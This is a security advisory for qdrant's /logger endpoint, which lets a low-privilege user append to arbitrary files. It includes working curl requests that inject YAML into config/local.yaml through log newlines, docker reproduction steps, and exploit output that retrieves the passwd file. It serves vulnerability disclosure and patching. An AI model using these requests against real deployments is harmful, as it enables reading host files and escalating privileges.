GitHub Security Advisory: GHSA-f632-vm87-2m2f
Package: qdrant (RUST)
Severity: HIGH (CVSS 8.5)
CWE: CWE-73: External Control of File Name or Path
Vulnerable versions: >= 1.9.3, < 1.15.6
Patched in: 1.15.6

Summary: qdrant has arbitrary file write via `/logger` endpoint

Details:
### Summary
It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5

### Details
`POST /logger`
([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195))
endpoint accepts an attacker-controlled `on_disk.log_file` path.

There are no authorization checks (but authentication check is present).

This can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml.

After running the PoC, the content of `config/local.yaml` will be:

```yaml
2025-11-11T23:52:22.054804Z  INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0[PII_REDACTED]-11-11T23:52:22.056962Z  INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui
service:
    static_content_dir: ..

2025-11-11T23:52:22.057530Z  INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391
```

Some junk log lines are present, but they don't matter as this is still valid yaml.

After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path.

Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).

Relevant requests:

1. Enable on-disk logging to the config file:

```bash
curl -sS -X POST "http://localhost:6333/logger" \
  -H "Content-Type: application/json" \
  -d '{
    "log_level":"INFO",
    "on_disk":{
      "enabled":true,
      "format":"text",
      "log_level":"INFO",
      "buffer_size_bytes":1,
      "log_file":"config/local.yaml"
    }
  }'
```

2. Inject YAML via a request that logs newlines (URL-encoded):

```bash
curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \
  -H "Content-Type: application/json" \
  -d '{}'
```

### Full reproduction instructions

1. Start Qdrant with a writable configuration directory:

```sh
sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5
```

2. Run the exploit:

```sh
% python3 exploit.py --url http://localhost:6333
[+] Logger configured
[+] Log injection successful
[+] Logger disabled
Restart Qdrant cluster and press Enter to continue...
```

3. Restart the container:

```sh
sudo docker restart qdrant-poc
```

4. Resume the exploit:

```sh
<press Enter>
[+] Passwd file retrieved
-----------